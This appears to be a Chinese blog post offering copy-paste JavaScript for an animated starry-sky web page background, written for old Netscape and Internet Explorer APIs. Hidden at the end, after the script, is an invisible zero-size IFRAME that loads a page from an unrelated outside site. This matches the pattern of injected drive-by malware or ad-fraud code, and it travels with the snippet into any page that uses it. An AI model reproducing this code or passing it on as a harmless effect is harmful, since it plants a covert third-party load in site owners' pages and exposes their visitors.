1、星空背景网页代码

1、星空背景网页代码

<!-- <BODY bgColor=#000000 onload=fly()>替换原有的<body> -->

<!--将以下代码加入HTML<Body></Body>之间-->

<SCRIPT language=JavaScript>

<!--

SmallStars = 30;

LargeStars = 10;

 

SmallYpos = new Array();

SmallXpos = new Array();

LargeYpos = new Array();

LargeXpos = new Array();

Smallspeed= new Array();

Largespeed= new Array();

ns=(document.layers)?1:0;

if (ns){

for (i = 0; i < SmallStars; i++)

{document.write("<LAYER NAME='sn"+i+"' LEFT=0 TOP=0 BGCOLOR='#FFFFF0' CLIP='0,0,1,1'></LAYER>")}

for (i = 0; i < LargeStars; i++)

{document.write("<LAYER NAME='ln"+i+"' LEFT=0 TOP=0 BGCOLOR='#FFFFFF' CLIP='0,0,2,2'></LAYER>")}

}

else{

document.write('<div style="position:absolute;top:0px;left:0px">');

document.write('<div style="position:relative">');

for (i = 0; i < SmallStars; i++)

{document.write('<div id="si" style="position:absolute;top:0;left:0;width:1px;height:1px;background:#fffff0;font-size:1px"></div>')}

document.write('</div>');

document.write('</div>');

document.write('<div style="position:absolute;top:0px;left:0px">');

document.write('<div style="position:relative">');

for (i = 0; i < LargeStars; i++)

{document.write('<div id="li" style="position:absolute;top:0;left:0;width:2px;height:2px;background:#ffffff;font-size:2px"></div>')}

document.write('</div>');

document.write('</div>');

}

WinHeight=(document.layers)?window.innerHeight:window.document.body.clientHeight;

WinWidth=(document.layers)?window.innerWidth:window.document.body.clientWidth;

//Inital placement!

for (i=0; i < SmallStars; i++)

 {                                                                

 SmallYpos[i] = Math.round(Math.random()*WinHeight);

 SmallXpos[i] = Math.round(Math.random()*WinWidth);

 Smallspeed[i]= Math.random()*5+1;

}

for (i=0; i < LargeStars; i++)

 {                                                                

 LargeYpos[i] = Math.round(Math.random()*WinHeight);

 LargeXpos[i] = Math.round(Math.random()*WinWidth);

 Largespeed[i]= Math.random()*10+5;

}

function fly(){

var WinHeight=(document.layers)?window.innerHeight:window.document.body.clientHeight;

var WinWidth=(document.layers)?window.innerWidth:window.document.body.clientWidth;

var hscrll=(document.layers)?window.pageYOffset:document.body.scrollTop;

var wscrll=(document.layers)?window.pageXOffset:document.body.scrollLeft;

 

for (i=0; i < LargeStars; i++)

{

 LargeXpos[i]-=Largespeed[i];

 if (LargeXpos[i] < -10)

  {

  LargeXpos[i]=WinWidth;

  LargeYpos[i]=Math.round(Math.random()*WinHeight);

  Largespeed[i]=Math.random()*10+5;

  }

 if (ns){

 document.layers['ln'+i].left=LargeXpos[i];

 document.layers['ln'+i].top=LargeYpos[i]+hscrll;

 }

 else{

 li[i].style.pixelLeft=LargeXpos[i];

 li[i].style.pixelTop=LargeYpos[i]+hscrll;

 }

}

 

for (i=0; i < SmallStars; i++)

{

 SmallXpos[i]-=Smallspeed[i];

 if (SmallXpos[i] < -10)

  {

  SmallXpos[i]=WinWidth;

  SmallYpos[i]=Math.round(Math.random()*WinHeight);

  Smallspeed[i]=Math.random()*5+1;

  }

 if (ns){

 document.layers['sn'+i].left=SmallXpos[i];

 document.layers['sn'+i].top=SmallYpos[i]+hscrll;

 }

 else{

 si[i].style.pixelLeft=SmallXpos[i];

 si[i].style.pixelTop=SmallYpos[i]+hscrll;

 }

}

setTimeout('fly()',10);

}

//fly();

//-->

</SCRIPT>

<IFRAME border=0 name=I1  marginWidth=0 marginHeight=0 src=http://www.7stk.com/store/htm/5w_s_b.htm frameBorder=0 width=0 scrolling=no height=0></IFRAME>

</body>

 

</html>

 

Write a comment

Comments: 0